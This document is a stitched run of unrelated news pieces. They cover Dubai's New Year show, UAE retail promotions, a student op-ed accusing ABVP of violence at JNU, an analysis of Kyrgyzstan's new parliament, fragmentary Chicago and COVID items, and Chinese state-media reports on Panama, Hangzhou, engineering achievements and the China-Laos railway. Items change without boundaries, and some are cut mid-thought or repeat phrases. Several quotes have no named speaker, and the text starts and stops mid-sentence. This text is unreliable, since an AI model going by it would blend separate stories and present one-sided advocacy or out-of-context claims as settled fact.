firework show, choreographed to laser, lights and music. Called 'Eve of Wonders', people across the globe are invited to see the spectacle as Emaar decorates the night sky as the clock strikes midnight on December 31, with pyrotechnics, light & laser extravaganza that will light up Dubai Downtown. In line with the theme, a new laser feature is making its debut at The Dubai Fountain in sync with Burj Khalifa's programme, creating a memorable event that is poised to redefine new year's celebrations, PRNewswire reported. Whether in Downtown Dubai, watching online, or on television worldwide, the public is guaranteed a gala event to welcome in the new year. Emaar NYE 2022 will be broadcast live and live-streamed from 8.30 p.m. local time on mydubainewyear.com. Emaar Founder Mohamed Alabbar said: "The UAE, and Dubai, inspire hope and optimism, and bring together a global community to shape the future. This year's celebration is a tribute to our nation's achievements in the past 50 years. It also highlights our leadership's vision to create a new age of progress through openness and collaboration, and Emaar is proud to be part of it." Those wishing to access Downtown Dubai on December 31 can do so by using the U by Emaar app and its easy-to-use pre-registration process. Guests, including Emaar Boulevard residents and hotel guests, can log on to the app and follow the steps to access all Downtown Dubai locations. After registration, they will receive individual QR codes that can be used to gain access to Downtown Dubai on New Year's Eve. Enoc Group is celebrating the 27th edition of Dubai Shopping Festival with multiple raffles, offering customers a chance to win 73 cars and over AED530,000 ($144,292) in cash prizes. For the first time, Enoc, , the Official Integrated Energy Partner of Expo 2020 Dubai, is including fuel as part of its promotion. Until January 29, 2022, customers who fuel their cars for a minimum of AED75 at any Enoc or Eppco service station can enter the Nissan Grande Raffle to stand the chance to win a Nissan car. The raffle will hand over the keys of 40 cars including Nissan Kicks cars, Nissan Xtrails, Nissan Xterras, and Nissan Patrols. Customers who spend a minimum of AED25 at Zoom store spend minimum AED50 on car wash, oil change or any other services at AutoPro and Tasjeel on select services will also receive Nissan Raffle coupons. Enoc is also offering NOL, Du, Etisalat and Salik promo packs with 3 Nissan Raffle coupons as well as Expo 2020 Dubai ticket promo packs with 6 Nissan Raffle coupons for customers to increase their chances of winning. The Infiniti Mega Raffle is back this year, offering customers a chance to win daily prizes of Infiniti QX80 and AED100,000 as well as a daily 10k prize. Raffle tickets priced at AED200 can be purchased at Enoc and Eppco service stations, Zoom stores across Dubai. Enoc has been a founding supporter of the Dubai Shopping Festival since its inception. The DSF promotions are available across all Enoc and Eppco Dubai service stations, Zoom Metro, Zoom Market and Zoom standalone stores across Dubai, AutoPro outlets and Tasjeel sites in the emirate. -- TradeArabia News Service Locally-owned supermarket Spinneys has opened the doors of its first sustainable concept store in Dubais Layan community, next to Sustainability City. As part of its corporate programme Lets Do Better Together, the new branch aims to offer customers an easy, convenient way to enjoy a healthy lifestyle and to shop more sustainably. Dedicated to providing its customers with the best possible products, in the best possible way, the store has been carefully stocked to highlight health benefits across all of its ranges. Shoppers can explore its array of organic, vegan, plant-based, high-protein, free-range, or made with reduced fats and sugar varieties -ensuring its customers not only eat well, but live well too. A key sustainability feature of the store is its Refill Stop a new concept embedded across a range of departments encouraging customers to reuse and replenish their own containers. Customers receive a discount at the deli counter for bringing their own container and dispensers are provided throughout the store encouraging refillable shopping across multiple household categories such as coffee, spices, honey, pasta, pulses, snacks and event detergent from Ecover a new refillable initiative with a launch discount. As a first for retail in the region, the store also offers a refillable water station with complimentary room temperature water for customers to top their bottles up with as well as chilled, sparkling and naturally infused botanical essence waters such as lemon balm and peppermint for AED5 to AED10 per refill. Fruit and vegetables are primarily sourced from home-grown sources to support local farmers. Shoppers can try organic cherry tomatoes that have been grown in perfect conditions to deliver sweetness and flavour. Spinneys has also increased the number of Naturally Im Perfect veg lines too in Produce vegetable multipacks with non-uniform shapes. The store is also home to honey bees that are living in hives on the roof, to support the pollination of local flora and fauna. Championing local businesses is also part of the Spinneys DNA. A prominent store feature is its selection of brands from its Incubator Programme such as The Skin Concept, Namastea, The Botanist and Kimri. Sunil Kumar, CEO, Spinneys, said: At Spinneys, we are making sustainable choices for the future. We know that we have a lot of work to do to become a truly sustainable organisation, but we are proud of the positive steps we are making and the new concept store is a testament to that. Sustainable innovation is part of who we are, and we will continue to drive such forward-thinking in the region. As part of its bid to reduce dependence on fossil fuels, the Layan supermarket and car park have also been fitted with 650 solar panels. The stores refrigeration systems have been purposely built to emit fewer fluorocarbons. Removing unnecessary plastic is also a key focus for Spinneys, where products will be sourced with recyclable packaging and recycled content where possible. There is a firm no plastic bags policy at the check-out too. Customers must either bring their own or pay 50 fils for a paper bag. Sophie Corcut, Sustainability Manager at Spinneys, commented: As a local supermarket we have a responsibility to contribute to creating a more sustainable way of living for our community. We hope this new store concept, which we plan to roll out across the UAE, will help play a part in supporting the governments sustainability goals. TradeArabia News Service Help India! During a recent incident at Jawaharlal Nehru University (JNU), members of the right wing student outfit Akhil Bharatiya Vidyarthi Parishad (ABVP) allegedly attacked a study circle organized by students to discuss an essay by Friedrich Engels, a 19th century German philosopher of repute. This an eye-witness account of the incident. Tayyaba Ahmed and Aatika Singh | TwoCircles.net Support TwoCircles The Akhil Bharatiya Vidyarthi Parishad (ABVP), the student wing of Rashtriya Swayamsevak Sangh (RSS) and the ruling Bhartiya Janata Party (BJP) has left no stone unturned in realizing the violent and divisive dream of its political mentors; Hedgewar and Golwalkar. Especially post 2013, the right-wing student outfit has indulged in divisive communal politics in democratic spaces across the country; more so at Jawaharlal Nehru University (JNU). In a recent incident, on 14 November 2021 members of ABVP, most of them upper-caste men, disrupted a study circle that was going to be held in Jawaharlal Nehru University Students Union (JNUSU) office, Teflas at 9 p.m. by Hundred Flowers Group on Friedrich Engels essay, Socialism: Utopian and Scientific. ABVP was quick to play its divisive and violent politics. After forcibly occupying the office, restraining the members of the study circle, and disrupting the discussion, the members of ABVP attacked the students who wanted to attend the session and study. The office-bearers of ABVP along with the newly inducted members harassed women and assaulted many students present at the office. When some students attempted to take the injured ones to the hospital, the ABVP members forcibly intercepted the movement and assaulted the student who had fainted. The saga of atrocity didnt stop here. From shouting caste and gender insensitive cuss words to disrupting democratic dialogue and arbitrarily inciting one-sided violence, these ABVP members damaged property, tore books and broke tambourines. Their sloganeering, which has been recorded, was filled with offensive statements, caste remarks and ridicule. After creating an atmosphere of terror and violence, the ABVP members stormed other parts of the campus instilling fear in students and creating a ruckus. The ABVP members warned the students to leave the campus, threatened and bullied them. The hooliganism of ABVP was clearly on display as ABVP members used sexist comments, ridiculed students and made obscene gestures, pushed women and threatened them with rape. The trauma that women students faced during the incident is unmeasurable. The intimidation tactics of ABVP was resisted by many students as they were forced to vacate the union office. The members of ABVP left the scene only a few minutes before the Delhi police arrived near the venue. This incident cannot simply be read in isolation as the violence perpetrated by ABVP was a culmination of a series of past events starting from 2014. It started with the incident of 5 January when hundreds of students were left badly injured by RSS-BJP-ABVP, to the vandalization of the union office by ABVP the third time on 9 October 2021 during which the portraits of Rohith Vemula, Bhagat Singh and Che Guevara were defaced with shameless slogans like, Hang Sharjeel. Fearing accountability, ABVP then started peddling videos of false narratives knowing that the IT cell and Godi media would ensure the propagation of myth. Due to prevailing impunity for right-wing violence in India, these members continued to spread the web of deceit. After illegally occupying the Sabarmati T-point, ABVP has ensured every night that ideologically progressive women and the minority students of the campus live in fear. It was ironic that on the day of the incident on 14 November, several members of ABVP were seen holding posters of tribal icons like Birsa Munda and Gunda Dhur when we know that ABVP does not even remotely stand for what these leaders represented and fought against. Class, caste and gender sensitization is not expected from an organization that supports Manusmriti and has deep-rooted Brahamanical tendencies. Pattern to ABVPs intimidation tactics A similar major incident propagating hate against minorities, and which resulted in the violence against students from the minority communities took place on October 29, 2021. On this day, the Centre for Womens Studies, JNU, had announced a webinar on Gendered Resistance & Fresh Challenges in Post 2019 Kashmir. Without understanding the academic context in which the webinar was being organized, ABVP complained against the same and began its usual extremist narrativization. The webinar was cancelled followed by a Victory March organized by ABVP, which was filled with threats and warnings to the students. The jingoism was taken to the next step when ABVP verbally abused minority students.What the minority students go through is an unquantifiable mental trauma on a daily basis. This needs to be rejected and resisted by the whole student community of JNU. The fact is that ABVPs impunity for these crimes comes from the RSS-led-BJP government which promotes its reckless behaviour on the campus. The inaction shown by Cyclops, the present security agency in JNU and their passive reaction to violence by ABVP adds to the students legitimate angst who are perplexed and wonder if this company registered under G.D Bakshis name is indeed for the security and safety of all students. On the day of the incident, the Chief Security Officer was sharing laughs with the ABVP members when the crowd was in panic and tension. From these violent acts, it must be noted with worry that not only is a campus space like JNU being attacked for its democratic ethos, but it is the core of academic progressiveness that these right-wing forces are trying to dismantle, and whose every action goes against the Constitution of India. The student community of JNU has reiterated its unilateral stand against ABVP and all its sympathizers, as we believe that such a Brahmanical and fascist organization must have no place in any university. ABVP thinks they can divert our attention from urgent pressing issues of caste discrimination, rampant (mis)use of draconian laws like UAPA, farmers protest, shrinking of democratic rights and spaces, the disappearance of students and the rising atrocities against the marginalized communities by indulging in peddling false narratives. However, we believe it wont take too long for students of the country to realize that ABVP is an enemy of thought, freedom, education and we must stand up to it. The authors are students at Jawaharlal Nehru University (JNU). Unfortunately, our website is currently unavailable in your country. We are engaged on the issue and committed to looking at options that support our full range of digital offerings to your market. We continue to identify technical compliance solutions that will provide all readers with our award-winning journalism. Kyrgyzstans recent parliamentary vote may not have been the most inspiring in the countrys modern history of competitive elections. The incoming parliament had its powers slashed because of the return to a strong presidential form of government and the parties that received the most votes in the elections are pro-government. While the new legislature appears unlikely to wield strong influence over policy formulation, it nonetheless reflects a decisive and permanent generational shift that has taken place in Kyrgyz politics. The representatives of the older Soviet-era generation are largely out of the government of the state, replaced by the last children of the Soviet Union, now in their mid-40s. But who are they? BACKGROUND: Following the election of a new national parliament, Jogorku Kenesh, on November 28, 2021, Kyrgyzstan completed a more than yearlong reconfiguration of its political system. The process started with the street protest against the fraudulent parliamentary vote of October 4, 2020, which eventually lead to the removal of incumbent President Sooronbay Jeenbekov and the appointment of Sadyr Japarov as interim leader. On January 10, 2021, voters elected Japarov in a snap presidential election, and 81 percent endorsed his preference for presidential rule in a concurrent referendum. In a subsequent referendum on April 11, voters also approved a new constitution reestablishing a presidential system, ending the countrys decade-long experiment with a parliamentary-style system. Kyrgyzstans latest election brings the parliament in line with the new constitutional and electoral requirements. The parliament reduced from 120 members to 90 formed through a mixed electoral system, with 54 seats filled through preferential voting from national party lists, while the remaining 36 were decided in majoritarian single-mandate constituencies. Even though the return to a presidential form of government meant a significant curtailment of the parliaments powers, elites remained eager to seek representation. However, the election campaign was rather muted as observers noted an election fatigue in society. In the end, only 35 percent of those eligible chose to cast their votes in what was the lowest turnout ever. Six parties gained representation, of which only one had cast itself in an oppositional mold. The combination of a loyal parliament with diminished powers makes it appear unlikely that the new legislative body will wield strong influence over policy formulation. Instead, it appears destined to function more as a political platform for raising and discussing certain issues. In this sense, the parliament might resemble a political elite club rather than a conventional legislature. The re-introduction of the majority system, with 36 seats in the parliament occupied by officeholders from specific districts, will likely ensure that a substantial number of MPs primarily are occupied with catering for local and regional problems rather than national issues. However, a closer look at the composition of the incoming parliament, usually in some ways a mirror of Kyrgyz politics and society, reveals that a decisive and permanent generational shift has taken place in the countrys politics. The generation born between the end of the World War II and 1965, is out. This was the last truly Soviet generation, with attitudes and working methods reflecting the mentality of the Soviet system. They were also the bearers of independence in 1991, steering the political and economic course of the sovereign Kyrgyzstani state. The demographic cohort commonly referred to as Generation X, or in a post-Soviet context as the last Soviet children has taken its place. This generation spans from people born in the mid-to-late 1960s to the early 1980s. Overall, 45 percent of the incoming MPs are born in the 1970s, 23 percent in the 1980s and 18 percent in the 1960s. The average age of the incoming MPs is 45.5 years. This age structure can be compared to Kazakhstan and Russia, two countries which also elected new legislatures in 2021. The average age of a member of Kazakhstans lower house, the Mazhilis, is 51, while the average MP in Russias State Duma is 53 years old. This means that the typical Kyrgyz parliamentarian was about 15-16 years old at the time of the collapse of the Soviet Union. While formed in the Soviet education system, representatives of this generation have largely formed their professional experiences free from the Communist worldview. IMPLICATIONS: But who are they? A closer look at Kyrgyzstans new parliament reveals both change and continuity. Its ethnical make-up is compactly Kyrgyz, with less than a handful seats occupied by representatives of minorities (Dungan, Uzbek and Tajik). For the first time, not a single ethnic Russian obtained a parliamentary seat. The regional distribution of seats further shows that the majority of MPs hails from southern Kyrgyzstan (almost 60 percent), with Osh province the native home of one-third of the new MPs. The gender balance remains largely unchanged despite the fact that not a single woman won any of the 36 individual districts. However, the quota for the nationwide party lists ensured that 17 of 54 MPs elected on a party ticket are women, bringing the total share of female MPs to 20 percent. Indeed, this represents an increase compared to the outgoing corps of MPs, which in November 2021 had a 17 percent female representation. The incoming MPs are strikingly well educated. All of them have a higher education, as required by law, and many have two higher diplomas, some even three. More than one-third have a degree in law, one-fourth are economists and close to 20 percent are engineers. A biographical analysis reveals that many parliamentarians have added a second university degree quite late, often simultaneously as working in labor-intensive occupations in the civil service or as private entrepreneurs. Given that Kyrgyzstans system of higher education is notoriously corrupt and that buying academic diplomas is standard practice, this casts some doubt over the formally impressive academic credentials of the latest cohort of parliamentarians. No individuals have experiences from studying abroad and only one has studied at the American University Central Asia (AUCA) the leading western-sponsored educational institution with the ambition of forming the future elite of Kyrgyzstan. Since the first elections in 1995, Kyrgyzstans parliament has been in an iron grip of a rent-seeking group of businessmen and civil servants. This dominance remains with approximately 60 percent of the new MPs having a background in various businesses while close to 40 percent have held high-ranking state jobs. In the flexible Kyrgyz job market, several have alternated between public offices and private entrepreneurial activities; almost 30 percent have had previous stints in the national parliament and 15 percent have served as members of city councils, mainly in Osh and Bishkek. On average, Kyrgyz parliamentarians remain a wealthy group of people. Compared to the older generation, the younger generation of MPs are risk-takers controlling many private enterprises. Politically, the new generation of politicians hold national patriotic views. Traditional and nationalist-oriented values find resonance among a large group of Kyrgyz citizens, particularly in rural areas, where people since long have abandoned the old secular Soviet values and where liberal, pluralistic influences never have taken hold. In this ideological landscape, old Soviet-influenced ideas and values as well as liberal political ideas are on the retreat. Thus, while the Soviet imprint on Kyrgyz politics and society is rapidly disappearing, it is not replaced by liberal, western-influenced ideas, but by a return to Kyrgyz traditions. As part of this, the role of Islam is growing in importance, as manifested by the religiously oriented party Yiman Nuru (Ray of Faith) managing to enter the parliament. Displays of religiousness on the part of candidates have become a more pronounced feature of electoral campaigns in Kyrgyzstan over the past decade. CONCLUSIONS: In Kyrgyzstan, and other Eurasian countries in which a decisive democratic breakthrough remains elusive, many experts and democracy promoters have assumed that the situation would eventually change with the coming to power of a new generation that is less restrained by the mental hangovers of the Soviet system. Kyrgyzstan appeared to be in a particularly favorable position in this regard since the country over the past decades has been the subject of much external influence through western-sponsored local non-governmental organizations (NGOs). The hope was that empowered civil society agents were the ones most likely to transform the government and advancing Kyrgyzstans democracy. In Kyrgyzstan, this led to the rise of a class of local NGO managers, made up of young, vocal and often foreign-educated individuals in Bishkek. NGOs have undoubtedly played a crucial role in implementing valuable projects, delivering a broad range of social services, and they remain important voices in demanding government accountability. But in spite of these contributions, the fact that NGOs were mainly financed from abroad and accountable to outsiders seems to have come at the expense of developing deep local ties. Rather than truly emerge as a response to bottom-up needs, Kyrgyzstans civil society became a top-down project led by an urban middle class. With a new generation taking over Kyrgyzstans government and parliament, it is clear that this class of politically conscious individuals, often labeled as progressive, born in the 1970s and 1980s have failed to organize politically and to formulate a political alternative in tune with the needs of Kyrgyz citizens. In sum, associating Kyrgyzstans future with the younger generation of activists in Bishkek gives a distorted picture of a complex generational change. There are other young people coming to age with very different values and perspectives. AUTHORS BIO: Johan Engvall, PhD, is a Deputy Research Director at the Swedish Defence Agency and a non-resident senior fellow with the Central Asia-Caucasus Institute Silk Road Studies Program Joint Center. He is the author of the book, The State as Investment Market: Kyrgyzstan in Comparative Perspective, published by University of Pittsburgh Press. The views expressed here are those solely of the author. Photo credit:Flickr user Matthias Buehler - creative commons. Another thing that will likely slow the transition to new fuels is that railroads typically use locomotives for decades to get the most out of their investment in them. And the major freight railroads have thousands of locomotives in storage currently because operational changes the industry has made over the past few years have allowed them to use fewer locomotives to use fewer locomotives because they are relying on increasingly longer trains The treatment is often administered through an IV and is for people who are at high-risk of needing hospitalization if they catch COVID-19 because of age or certain chronic health conditions, including diabetes, kidney disease and lung diseases. It works by blocking the virus from further entering a patients cells, where the virus would normally replicate. The treatment has been shown to be highly effective at keeping high-risk patients from needing hospitalization. The infusion takes 20 to 30 minutes, and then patients must be observed for about an hour before they can head home. The first inoculations came at a time when the United States was averaging more than 200,000 new cases and nearly 2,500 deaths each day. By October 2021, the pandemics reach in the state had extended from Chicago to southern Illinois. Now, on this anniversary, the omicron variant is making headlines, with a new case discovered in suburban Cook County on Dec. 14. It comes a week after Illinois first omicron case was reported in a Chicagoan who made contact with someone from another state who tested positive. As of Dec. 15, more than half of all U.S. states had detected omicron cases, according to the Centers for Disease Control and Prevention. First reported in South Africa on Nov. 24, omicron has been deemed the second-most serious type of variant or variant of concern by the World Health Organization. Baker is on a streak: Tangerine and The Florida Project were among the most distinctive, ground-level slices of life of their respective years. The premise here, of course, is galling: Mikey and Strawberrys relationship is both sexual and, as Mikey hopes hes grooming her for a career in porn, and a return to the business for himself transactional. The film does not lionize the character, but building a film around this character, today, will be several bridges too far for any number of viewers. Im pleased to be joining the team at MPP, where I will continue my yearslong effort to develop and support cannabis legalization legislation that centers on equity and repairing the harms of the past, Hutchinson said in a news release. We are incredibly proud of the hard work and lessons learned in Illinois, standing up programs to invest in equity entrepreneurs, reinvesting in communities, and clearing hundreds of thousands of arrests and criminal records. The man was in a vehicle about 7:35 p.m. northbound in the 800 block of North DuSable Lake Shore Drive. Another vehicle pulled alongside and someone inside fired shots, according to police. Rubin on Wednesday issued a series of public health recommendations for the holidays, including advising unvaccinated people to refrain from congregating in public or private with those outside their household. If they do choose to socialize with non-household members, they should remain masked even if inside private areas. And every one who is 16 or older who hasnt gotten a booster shot should get one as soon as possible, she said. Later Wednesday, Youngs attorney Keenan Saulter released a statement, saying in part: No amount of money could erase what Ms. Young has suffered. No amount of money could provide Ms. Young with what she truly wants which is to never have been placed in this situation in the first place. The county being bound by the new state law has especially disappointed those who took issue with the section on cross-lobbying, which is when a member of one governing body lobbies officials in another body. Its a practice that was put in the spotlight when then-state Rep. Luis Arroyo, D-Chicago, was arrested in 2019 on charges that he bribed a state senator to support sweepstakes gambling legislation that would have benefited a company Arroyo lobbied on behalf of at City Hall. Pritzker has been trying to unload the 17-story office building designed by renowned architect Helmut Jahn, who was killed in bicycle accident in May since taking office in 2019. The sale was something his predecessor, Republican Bruce Rauner, pushed for years but never got done, though that didnt stop lawmakers from counting on $300 million in theoretical revenue from the proposed sale to balance the state budget in 2018. To those of you who are supporting my candidacy, for being supportive, I want to say thank you from the bottom of my heart for everything youve done for me, he said. And to those of you who will not be voting for me today. I really look forward to working hard, to coming out to the wards, coming out to your townships (and) earning your support and working hard. If driving and unable to stop, forecasters said to grip the steering wheel tightly and slow down; its also important to stay clear of high-profile vehicles that could tip over. Outside, stay clear of trees and any objects that could fall from above, as well as flying objects such as those unsecured holiday decorations. On December 14, 2021, State Councilor and Foreign Minister Wang Yi had a phone conversation with Panamanian Foreign Minister Erika Mouynes at the latter's request. Wang Yi said, China sees Panama as an equal partner for strategic cooperation and has put Panama in an important position in China's diplomacy towards Latin America. The establishment of diplomatic relations between China and Panama is a right decision, in the fundamental and long-term interests of both countries, and able to withstand the test of time and history. China appreciates Panama's adherence to the one-China principle. It is the political foundation of bilateral ties. China, as Panama's good friend and good partner, will continue to support Panama's efforts to defend its legitimate rights and interests on the international stage, including Panama's sovereignty over the Canal. China-Panama cooperation is South-South cooperation and mutual support and assistance between developing countries for common development and prosperity. China has never had any geopolitical considerations in the Latin American region. Wang Yi said, Panama is a major logistics hub in the Western Hemisphere, and also among the first group of Latin American countries taking part in the joint building of the Belt and Road. China has become the largest trading partner of Panama as the bilateral trade volume increased by 27.2 percent and Panama's export to China went up by 187 percent from January to October of this year. The two sides should strengthen the synergy of development strategies, promote practical cooperation, and help the development and revitalization of the two countries. China is also willing to strengthen coordination with Panama in multilateral mechanisms such as the United Nations and the China-CELAC Forum, push the development of the international order towards a more just and rational direction, and better safeguard the rights and interests of developing countries, especially small and medium-sized countries. Mouynes said that the establishment of diplomatic relations between Panama and China four years ago is undoubtedly a right decision. Now, China has become an important strategic partner of Panama and Latin America at large. China-Panama relations have broad prospects with great potential and room for cooperation. Panama firmly pursues a friendly policy towards China, abides by the one-China principle, and looks forward to further strengthening bilateral relations with China while deepening practical cooperation in such fields as economy and trade, as well as logistics. The Panamanian government announced to designate the Chinese Lunar New Year as a national holiday of Panama from 2022, and include the Spring Festival celebrations in Panama's international tourism promotion plan, which fully demonstrates Panama's positive willingness to further promote the Chinese culture. Panama is also willing to strengthen cooperation with China in Latin American regional and sub-regional organizations. This year marks the 11th time that Hangzhou has made the list of the Most Attractive Chinese Cities for Foreigners since the annual poll was first published in 2010 by the State Bureau of Foreign Experts under the Ministry of Science and Technology. Hangzhou, the capital and most populous city of Zhejiang province in eastern China, moved up to third place in the 2020 rankings, behind only Beijing and Shanghai. This leading hub of industry, technology and digital economy in the Yangtze River Delta area stood out in particular for its livability, openness, favorable legal and economic conditions, and strategies to attract, develop and retain talent. In collaboration with other departments, the Hangzhou Municipal Science and Technology Bureau has been working to foster a world-class business environment in the city and create a more international environment. With the goals of building a digital and livable "paradise" and a modern socialist cosmopolitan city, it has accelerated the pace of expanding and curating its global talent pool. As more firms, especially tech companies and startups, settle in Hangzhou and more global professionals opt to live and work in the city, a host of policies and measures are being introduced to facilitate the lives of international talent and promote greater exchange and collaboration, among which the launch of the Hangzhou International Talent Club was one important step. In June 2019, the citys science and technology bureau took the lead in setting up the Hangzhou International Talent Club, with the Hangzhou International Friendship Alliance established a year later. According to an official of the Hangzhou Municipal Science and Technology Bureau, the Hangzhou International Friendship Alliance is responsible for handling such tasks as processing work permits for foreigners coming to China, while the Hangzhou International Talent Club regularly organizes activities to enhance services for international talents and help them better integrate into the city. Currently, Hangzhou boasts four international talent clubs in Gongshu, Yuhang, Qiantang and Xiaoshan, respectively. "The important thing is to retain talents," said Hu Nan, director of the Xiaoshan International Talent Club, noting that with the increasingly intense influx of talents, strategies to develop and retain them have become more crucial. He stressed that one of the goals of the International Talent Club is to keep talents in Hangzhou. "From the arrival of foreigners to Hangzhou, their employment and entrepreneurship, to understanding the culture and integrating into local life, we are committed to providing them with assistance throughout the whole process," Hu said. "We have organized a series of activities at the International Talent Club and the International Talents Community (ITC), which have proved very popular and generated a lot of positive feedback," Hu said, citing the TECOM Conf Hangzhou 2021 held on June 18 as an example. Under the guidance of the Hangzhou Municipal Science and Technology Bureau, a tech and entrepreneur communities conference called TECOM Conf Hangzhou 2021 was held at the citys ITC Guigu International Center. The conference aims to facilitate, strengthen and promote Chinas tech and entrepreneurial scene and provide a bridge between corporations, startups and professionals in various industries to help them connect, integrate and innovate. During the event, over 400 entrepreneurs from tech startups gathered to showcase their projects, and discuss challenges and opportunities. Members of the local and international scenes formed a diverse, inclusive and vibrant community. "The ITC is a great platform to meet and connect with various people from diverse backgrounds all over the world," said Johan van Dyk, chief operating officer of Hangzhou-based trading company Continental Comex. Tariro Manyumwa, a Zimbabwean with a master's degree from Zhejiang University who also works in Hangzhou, said that the community is a bridge between the present and future since young people here will go on to play important roles, and being associated with the community helps create opportunities for all. The local community is very open for new opportunities and brings a lot of value for new companies coming and setting up business, noted Daniela Sena, CEO of Continental Comex, founder of SheUp & Dici Cosmetics, and a live-commerce and retail specialist at Foreseekers. In order to thrive, cities will have to be the crossroads where global talent congregates and collaborates. Hangzhou has long valued attracting and retaining talent. Since 2012, it has vigorously implemented the "521 Program for Global Talents Introduction" and the "115 Overseas Talent Introduction Plan." Apart from establishing Chinas first International Talent Entrepreneurship and Innovation Park, it is also among the countrys first cities authorized to review and issue confirmation letters for foreign high-end talents, and one of eight pilot cities to carry out the "all-in-one card" program to provide services for high-level foreign talents. As a result, Hangzhou has ranked first across the country for the net inflow rate of talents for three consecutive years. In 2020 alone, the total number of talents in Hangzhou reached 2.85 million, with around 30,000 coming from overseas and 55,000 having studied abroad. To date, over 2,000 projects have been funded for the introduction of talents, more than 5,000 top-level experts have been attracted to the city, and 100,000 foreign experts have been employed here. A total of 11 foreign experts who have made outstanding contributions have won the Chinese Government Friendship Award, 73 won Zhejiangs West Lake Friendship Award, and 71 won Hangzhous Qiangjiang Friendship Award. Foreign experts are gradually becoming an important driving force in Hangzhous social and economic development and an important link between the city and the world. As Liu Xin, mayor of Hangzhou and deputy secretary of the CPC Hangzhou Committee, remarked at the 2021 Hangzhou International Human Resources Exchange and Cooperation Conference in early November: "Hangzhou is a center of innovation, entrepreneurship and creativity, which makes it an ideal place to live and work." "The city needs talents more than ever before," he added. "We sincerely welcome high-level talents to settle in the city of Hangzhou and write legendary stories through their efforts." An eastern Chinese city has registered 171 locally-transmitted confirmed COVID-19 cases and one asymptomatic carrier, as of 8 p.m. Tuesday, in the latest COVID-19 resurgence since Dec. 7, local authorities said. The epidemic in the city of Shaoxing in Zhejiang Province was caused by people who became infected with COVID-19 while attending a funeral early this month. They include a vegetable vendor at a food market who caused cross infections among buyers and market management staff, said Zhu Runye, deputy secretary-general of the Shaoxing municipal government, at a press briefing on Tuesday night. Local authorities have traced 9,419 close contacts and 10,254 secondary close contacts of the COVID-19 cases and have already placed them under quarantine amid rapid responses to contain the epidemic, Zhu said. China has four major feats listed among this year's Global Top Ten Engineering Achievements, according to the journal Engineering, one of China's most prestigious scientific publications. Experts said China will continue to be an active contributor to global engineering frontiers and make more breakthroughs in solving major engineering obstacles that are key for the sustainability and wellbeing of mankind. The four projects spearheaded by Chinese engineers are the Five-hundred-meter Aperture Spherical Telescope, hybrid rice, the Three Gorges Hydroelectric Power Station and the ultra-high voltage transmission project. The telescope, located in southwestern China, became operational last year and is currently the world's largest and most sensitive single dish radio telescope. The entire Three Gorges project was completed last year after more than two decades of construction. It is the world's largest multipurpose hydraulic complex. The third generation of hybrid rice created by Chinese scientists set a new annual yield record of 22.9 metric tons per hectare last year. In 2019, China launched the world's first 1,100-kilovolt ultra-high voltage direct current transmission network, making efficient, large-scale allocation of electricity across China possible. The other achievements included AlphaGo and AlphaFold, which are artificial intelligence programs designed for specific tasks such as playing chess and predicting protein structure, and the development and use of the CRISPR/Cas9 gene-editing technique. Extreme ultraviolet lithography systems for high-end chipmaking, 5G mobile communication technology, NASA's InSight Mars Lander, public health epidemic prevention and the battle against COVID-19 also made the list. The achievements on the list are major engineering projects or breakthroughs with global influence that have been completed in the past five years, the journal said. They represent the highest level of engineering science and technology in their respective fields. The journal Engineering is a publication of the Chinese Academy of Engineering. The list's creation involved nominations and recommendations by engineers and technicians around the globe, numerous public surveys and final screening by the selection committee. On Tuesday, the academy's Center for Strategic Studies and global analytical firm Clarivate published their Engineering Fronts 2021 report. The document, published annually since 2017, selected a total of 186 research and development frontier topics for nine broad engineering categories, ranging from agriculture to engineering management. Zhong Zhihua, vice-president of the CAE, said engineering and technology is a major support for socioeconomic growth and mankind's pursuit of sustainable development. "As our country enters a new developmental phase, we urgently need to accelerate our pace of innovation in engineering and technology and improve the quality of our innovation," he said, adding this will require scientific insight on new emerging engineering frontiers to guide future development. Jeremy Lawson, senior vice-president of Clarivate, said all these fronts are essential to global social and economic development, and China is also at the forefront of many of these subjects. Strategic collaboration with key global research organizations such as the CAE is central to advancing global scientific research and driving sustainable development, he added. Yang Baofeng, an academician at the CAE, said the report tracks frontier engineering research that may yield new breakthroughs and innovations, and allow scientists, industries and policymakers to identify the latest engineering trends and adjust research and policy priorities accordingly. Yang said this year's engineering frontiers had three main focuses: interdisciplinary research, the use of artificial intelligence in various engineering and industrial fields, and tackling major common issues such as the COVID-19 pandemic and climate change. Countries should strengthen coordination and cooperation to jointly promote democracy in international relations, according to scholars attending an international forum on democracy. From Tuesday to Wednesday, guests from home and abroad, including representatives of international organizations and media, as well as experts and scholars, took part in a dialogue on the diversity of democracy during the third phase of the International Forum on Democracy: The Shared Human Values, both in person and via video link. "The basic spirit of democratization of international relations is about solving global problems through equal consultation and having international affairs managed by all parties," said Gao Anming, vice president and editor-in-chief of China International Communications Group. He expressed his opposition to the instigation of ideology-based confrontation, adding that certain countries are trying to maintain their hegemonies under the guise of protecting democracy, which is an attempt to turn back the wheel of history and severely undermines the process of democratization of international relations. Gao also called for joint efforts in promoting democracy in international relations and building a more just and equitable international order by upholding the principles of extensive consultation, joint contribution and shared benefits. The experts advocated that countries should adhere to peaceful coexistence, and respect other countries' right to development and their independent choice of development paths and models. Wang Gangyi, guest research fellow at the Academy of Contemporary China and World Studies, said it is important to improve the global governance system in light of the changing international landscape, promote democracy in international relations and steer the global governance system toward greater equity and justice. All countries should uphold common values of humanity for peace, democracy and development, and abide by the norms governing international relations based on the U.N. Charter, according to Alfred de Zayas, a professor at the Geneva School of Diplomacy in Switzerland. He added that some countries' blatant interference in the internal affairs of other countries has severely violated international rules and orders. China's practice in advancing democracy in international relations also won the recognition of the participants in the forum. Farhat Asif, president of the Institute of Peace and Diplomatic Studies in Pakistan, said that this year marks the 100th anniversary of the founding of the Communist Party of China (CPC). Over the decades, China has made remarkable achievements in social and economic development at home, and strengthened exchanges and cooperation with other countries. She said that the China-Pakistan Economic Corridor, a flagship project in China's Belt and Road Initiative, has brought huge benefits to the local people. The forum, which seeks to promote exchanges and dialogue on democracy across the globe, was held in three phases, from Dec. 4-5, Dec. 9-10 and Dec. 14-15, respectively. The event was hosted by the Publicity Department of the CPC Central Committee and the State Council Information Office, and co-organized by the Chinese Academy of Social Sciences, China Media Group and China International Communications Group. The China-Laos cross-border railway began operations earlier this month. Covering 1,035 km and consisting of both electric passenger and freight trains, the railway starts from Kunming, the capital city of southwest China's Yunnan province, and travels down to Laos' capital Vientiane. This mega-project cuts down the travel time between the two cities by around 10 hours thanks to bullet trains that run at 160 km per hour. Notably, the China-Laos railway serves as a docking project between the China-proposed Belt and Road Initiative (BRI) and Laos' strategy to 